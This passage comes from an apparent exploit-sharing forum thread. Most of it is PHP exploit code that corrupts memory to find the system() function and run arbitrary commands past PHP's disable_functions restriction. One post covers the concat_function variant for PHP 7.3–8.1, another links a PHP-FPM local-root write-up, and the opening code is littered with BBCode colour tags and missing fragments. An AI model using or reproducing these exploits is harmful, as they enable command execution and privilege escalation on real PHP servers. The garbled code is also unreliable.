COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]log[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"helper handlers @ 0x%x"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$helper_handlers[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]prepare_leaker[/COLOR][COLOR="#007700"]();

[/
COLOR][COLOR="#0000BB"]$binary_leak[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]read[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$helper_handlers[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#0000BB"]8[/COLOR][COLOR="#007700"]);
[/
COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]log[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"binary leak @ 0x%x"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$binary_leak[/COLOR][COLOR="#007700"]);
[/
COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]prepare_cleanup[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$binary_leak[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]$closure_addr[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]str2ptr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]helper_off[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#0000BB"]0x38[/COLOR][COLOR="#007700"]);
[/
COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]log[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"real closure @ 0x%x"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$closure_addr[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]$closure_ce[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]read[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$closure_addr[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#0000BB"]0x10[/COLOR][COLOR="#007700"]);
[/
COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]log[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"closure class_entry @ 0x%x"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$closure_ce[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]$basic_funcs[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]get_basic_funcs[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$closure_ce[/COLOR][COLOR="#007700"]);
[/
COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]log[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"basic_functions @ 0x%x"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$basic_funcs[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]$zif_system[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]get_system[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$basic_funcs[/COLOR][COLOR="#007700"]);
[/
COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]log[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"zif_system @ 0x%x"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$zif_system[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]$fake_closure_off[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]helper_off[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#0000BB"]CHUNK_SIZE[/COLOR][COLOR="#007700"]*[/COLOR][COLOR="#0000BB"]2[/COLOR][COLOR="#007700"];
for([/COLOR][COLOR="#0000BB"]$i[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"];[/COLOR][COLOR="#0000BB"]$i[/COLOR][COLOR="#007700"][/COLOR][COLOR="#0000BB"]write[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$fake_closure_off[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#0000BB"]$i[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]read[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$closure_addr[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#0000BB"]$i[/COLOR][COLOR="#007700"]));
}
[/
COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]write[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$fake_closure_off[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#0000BB"]0x38[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]4[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]$handler_offset[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]PHP_MAJOR_VERSION[/COLOR][COLOR="#007700"]===[/COLOR][COLOR="#0000BB"]8[/COLOR][COLOR="#007700"]?[/COLOR][COLOR="#0000BB"]0x70[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]0x68[/COLOR][COLOR="#007700"];
[/
COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]write[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$fake_closure_off[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#0000BB"]$handler_offset[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$zif_system[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]$fake_closure_addr[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]helper_addr[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#0000BB"]$fake_closure_off[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]helper_off[/COLOR][COLOR="#007700"];
[/
COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]write[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]helper_off[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#0000BB"]0x38[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$fake_closure_addr[/COLOR][COLOR="#007700"]);
[/
COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]log[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"fake closure @ 0x%x"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$fake_closure_addr[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]cleanup[/COLOR][COLOR="#007700"]();
([/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]helper[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]b[/COLOR][COLOR="#007700"])([/COLOR][COLOR="#0000BB"]CMD[/COLOR][COLOR="#007700"]);
}

private function[/COLOR][COLOR="#0000BB"]make_uaf_obj[/COLOR][COLOR="#007700"]() {
[/
COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]uafp[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]fopen[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'php://memory'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]'w'[/COLOR][COLOR="#007700"]);
[/
COLOR][COLOR="#0000BB"]fwrite[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]uafp[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]pack[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'QQQ'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]0xDEADBAADC0DE[/COLOR][COLOR="#007700"]));
for([/COLOR][COLOR="#0000BB"]$i[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"];[/COLOR][COLOR="#0000BB"]$i[/COLOR][COLOR="#007700"][/COLOR][COLOR="#0000BB"]uafp[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]"\x00"[/COLOR][COLOR="#007700"]);
}
}

private function[/COLOR][COLOR="#0000BB"]prepare_leaker[/COLOR][COLOR="#007700"]() {
[/
COLOR][COLOR="#0000BB"]$str_off[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]helper_off[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#0000BB"]CHUNK_SIZE[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#0000BB"]8[/COLOR][COLOR="#007700"];
[/
COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]write[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$str_off[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]2[/COLOR][COLOR="#007700"]);
[/
COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]write[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$str_off[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#0000BB"]0x10[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]6[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]$val_off[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]helper_off[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#0000BB"]0x48[/COLOR][COLOR="#007700"];
[/
COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]write[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$val_off[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]helper_addr[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#0000BB"]CHUNK_SIZE[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#0000BB"]8[/COLOR][COLOR="#007700"]);
[/
COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]write[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$val_off[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#0000BB"]8[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]0xA[/COLOR][COLOR="#007700"]);
}

private function[/COLOR][COLOR="#0000BB"]prepare_cleanup[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$binary_leak[/COLOR][COLOR="#007700"]) {
[/
COLOR][COLOR="#0000BB"]$ret_gadget[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$binary_leak[/COLOR][COLOR="#007700"];
do {
--[/COLOR][COLOR="#0000BB"]$ret_gadget[/COLOR][COLOR="#007700"];
} while([/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]read[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$ret_gadget[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]) !==[/COLOR][COLOR="#0000BB"]0xC3[/COLOR][COLOR="#007700"]);
[/
COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]log[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"ret gadget = 0x%x"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$ret_gadget[/COLOR][COLOR="#007700"]);
[/
COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]write[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]abc_addr[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#0000BB"]0x20[/COLOR][COLOR="#007700"]- ([/COLOR][COLOR="#0000BB"]PHP_MAJOR_VERSION[/COLOR][COLOR="#007700"]===[/COLOR][COLOR="#0000BB"]8[/COLOR][COLOR="#007700"]?[/COLOR][COLOR="#0000BB"]0x50[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]0x60[/COLOR][COLOR="#007700"]));
[/
COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]write[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]8[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$ret_gadget[/COLOR][COLOR="#007700"]);
}

private function[/COLOR][COLOR="#0000BB"]read[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$addr[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$n[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]8[/COLOR][COLOR="#007700"]) {
[/
COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]write[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]helper_off[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#0000BB"]CHUNK_SIZE[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#0000BB"]16[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$addr[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]0x10[/COLOR][COLOR="#007700"]);
[/
COLOR][COLOR="#0000BB"]$value[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]strlen[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]helper[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]c[/COLOR][COLOR="#007700"]);
if([/COLOR][COLOR="#0000BB"]$n[/COLOR][COLOR="#007700"]!==[/COLOR][COLOR="#0000BB"]8[/COLOR][COLOR="#007700"]) {[/COLOR][COLOR="#0000BB"]$value[/COLOR][COLOR="#007700"]&= ([/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"][/COLOR][COLOR="#0000BB"]abc[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]$p[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#0000BB"]$i[/COLOR][COLOR="#007700"]] =[/COLOR][COLOR="#0000BB"]chr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$v[/COLOR][COLOR="#007700"]&[/COLOR][COLOR="#0000BB"]0xff[/COLOR][COLOR="#007700"]);
[/
COLOR][COLOR="#0000BB"]$v[/COLOR][COLOR="#007700"]>>=[/COLOR][COLOR="#0000BB"]8[/COLOR][COLOR="#007700"];
}
}

private function[/COLOR][COLOR="#0000BB"]get_basic_funcs[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$addr[/COLOR][COLOR="#007700"]) {
while([/COLOR][COLOR="#0000BB"]true[/COLOR][COLOR="#007700"]) {
[/
COLOR][COLOR="#0000BB"]$addr[/COLOR][COLOR="#007700"]-=[/COLOR][COLOR="#0000BB"]0x10[/COLOR][COLOR="#007700"];
if([/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]read[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$addr[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]4[/COLOR][COLOR="#007700"]) ===[/COLOR][COLOR="#0000BB"]0xA8[/COLOR][COLOR="#007700"]&&
[/
COLOR][COLOR="#0000BB"]in_array[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]read[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$addr[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#0000BB"]4[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]4[/COLOR][COLOR="#007700"]),
[[/COLOR][COLOR="#0000BB"]20151012[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]20160303[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]20170718[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]20180731[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]20190902[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]20200930[/COLOR][COLOR="#007700"]])) {
[/
COLOR][COLOR="#0000BB"]$module_name_addr[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]read[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$addr[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#0000BB"]0x20[/COLOR][COLOR="#007700"]);
[/
COLOR][COLOR="#0000BB"]$module_name[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]read[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$module_name_addr[/COLOR][COLOR="#007700"]);
if([/COLOR][COLOR="#0000BB"]$module_name[/COLOR][COLOR="#007700"]===[/COLOR][COLOR="#0000BB"]0x647261646e617473[/COLOR][COLOR="#007700"]) {
[/
COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]log[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"standard module @ 0x%x"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$addr[/COLOR][COLOR="#007700"]);
return[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]read[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$addr[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#0000BB"]0x28[/COLOR][COLOR="#007700"]);
}
}
}
}

private function[/COLOR][COLOR="#0000BB"]get_system[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$basic_funcs[/COLOR][COLOR="#007700"]) {
[/
COLOR][COLOR="#0000BB"]$addr[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$basic_funcs[/COLOR][COLOR="#007700"];
do {
[/
COLOR][COLOR="#0000BB"]$f_entry[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]read[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$addr[/COLOR][COLOR="#007700"]);
[/
COLOR][COLOR="#0000BB"]$f_name[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]read[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$f_entry[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]6[/COLOR][COLOR="#007700"]);
if([/COLOR][COLOR="#0000BB"]$f_name[/COLOR][COLOR="#007700"]===[/COLOR][COLOR="#0000BB"]0x6d6574737973[/COLOR][COLOR="#007700"]) {
return[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]read[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$addr[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#0000BB"]8[/COLOR][COLOR="#007700"]);
}
[/
COLOR][COLOR="#0000BB"]$addr[/COLOR][COLOR="#007700"]+=[/COLOR][COLOR="#0000BB"]0x20[/COLOR][COLOR="#007700"];
} while([/COLOR][COLOR="#0000BB"]$f_entry[/COLOR][COLOR="#007700"]!==[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]);
}

private function[/COLOR][COLOR="#0000BB"]cleanup[/COLOR][COLOR="#007700"]() {
[/
COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]hfp[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]fopen[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'php://memory'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]'w'[/COLOR][COLOR="#007700"]);
[/
COLOR][COLOR="#0000BB"]fwrite[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]hfp[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]pack[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'QQ'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]abc_addr[/COLOR][COLOR="#007700"]));
for([/COLOR][COLOR="#0000BB"]$i[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"];[/COLOR][COLOR="#0000BB"]$i[/COLOR][COLOR="#007700"][/COLOR][COLOR="#0000BB"]hfp[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]"\x00"[/COLOR][COLOR="#007700"]);
}
}

private function[/COLOR][COLOR="#0000BB"]str2ptr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$p[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$n[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]8[/COLOR][COLOR="#007700"]) {
[/
COLOR][COLOR="#0000BB"]$address[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"];
for([/COLOR][COLOR="#0000BB"]$j[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$n[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"];[/COLOR][COLOR="#0000BB"]$j[/COLOR][COLOR="#007700"]>=[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"];[/COLOR][COLOR="#0000BB"]$j[/COLOR][COLOR="#007700"]--) {
[/
COLOR][COLOR="#0000BB"]$address[/COLOR][COLOR="#007700"][/COLOR][COLOR="#0000BB"]abc[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]$p[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#0000BB"]$j[/COLOR][COLOR="#007700"]]);
}
return[/COLOR][COLOR="#0000BB"]$address[/COLOR][COLOR="#007700"];
}

private function[/COLOR][COLOR="#0000BB"]ptr2str[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$ptr[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$n[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]8[/COLOR][COLOR="#007700"]) {
[/
COLOR][COLOR="#0000BB"]$out[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"];
for ([/COLOR][COLOR="#0000BB"]$i[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"];[/COLOR][COLOR="#0000BB"]$i[/COLOR][COLOR="#007700"]>=[/COLOR][COLOR="#0000BB"]8[/COLOR][COLOR="#007700"];
}
return[/COLOR][COLOR="#0000BB"]$out[/COLOR][COLOR="#007700"];
}

private function[/COLOR][COLOR="#0000BB"]log[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$format[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$val[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"]) {
if([/COLOR][COLOR="#0000BB"]LOGGING[/COLOR][COLOR="#007700"]) {
[/
COLOR][COLOR="#0000BB"]printf[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"[/COLOR][COLOR="#007700"]{[/COLOR][COLOR="#0000BB"]$format[/COLOR][COLOR="#007700"]}[/COLOR][COLOR="#DD0000"]\n"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$val[/COLOR][COLOR="#007700"]);
}
}

static function[/COLOR][COLOR="#0000BB"]alloc[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$size[/COLOR][COLOR="#007700"]) {
return[/COLOR][COLOR="#0000BB"]str_shuffle[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]str_repeat[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'A'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$size[/COLOR][COLOR="#007700"]));
}
}
[/
COLOR][COLOR="#0000BB"]?>
[/COLOR]
[/COLOR] 


crlf 26.10.2021 04:13

PHP-FPM 5.3.7-8.0.11 local root

https://www.ambionics.io/blog/php-fpm-local-root

.SpoilerTarget" type="button">Spoiler: expoloit
The exploit will be available at a later date.

dooble 22.01.2022 10:21

PHP 7.3-8.1 disable_functions bypass [concat_function]

.SpoilerTarget" type="button">Spoiler: Exploit

Код:

Code:
heap_leak(), 16);
        $fill = self::alloc(self::STRING_SIZE);

        $this->abc = self::alloc(self::STRING_SIZE);
        $abc_addr = $concat_str_addr + self::CHUNK_SIZE;
        self::log("abc @ 0x%x", $abc_addr);

        $this->free($abc_addr);
        $this->helper = new Helper;
        if(strlen($this->abc) helper->a = "leet";
        $this->helper->b = function($x) {};
        $this->helper->c = 0xfeedface;

        $helper_handlers = $this->rel_read(0);
        self::log("helper handlers @ 0x%x", $helper_handlers);

        $closure_addr = $this->rel_read(0x20);
        self::log("real closure @ 0x%x", $closure_addr);

        $closure_ce = $this->read($closure_addr + 0x10);
        self::log("closure class_entry @ 0x%x", $closure_ce);
       
        $basic_funcs = $this->get_basic_funcs($closure_ce);
        self::log("basic_functions @ 0x%x", $basic_funcs);

        $zif_system = $this->get_system($basic_funcs);
        self::log("zif_system @ 0x%x", $zif_system);

        $fake_closure_off = 0x70;
        for($i = 0; $i rel_write($fake_closure_off + $i, $this->read($closure_addr + $i));
        }
        $this->rel_write($fake_closure_off + 0x38, 1, 4);
        $handler_offset = PHP_MAJOR_VERSION === 8 ? 0x70 : 0x68;
        $this->rel_write($fake_closure_off + $handler_offset, $zif_system);

        $fake_closure_addr = $abc_addr + $fake_closure_off + 0x18;
        self::log("fake closure @ 0x%x", $fake_closure_addr);

        $this->rel_write(0x20, $fake_closure_addr);
        ($this->helper->b)($cmd);

        $this->rel_write(0x20, $closure_addr);
        unset($this->helper->b);
    }

    private function heap_leak() {
        $arr = [[], []];
        set_error_handler(function() use (&$arr, &$buf) {
            $arr = 1;
            $buf = str_repeat("\x00", self::HT_STRING_SIZE);
        });
        $arr[1] .= self::alloc(self::STRING_SIZE - strlen("Array"));
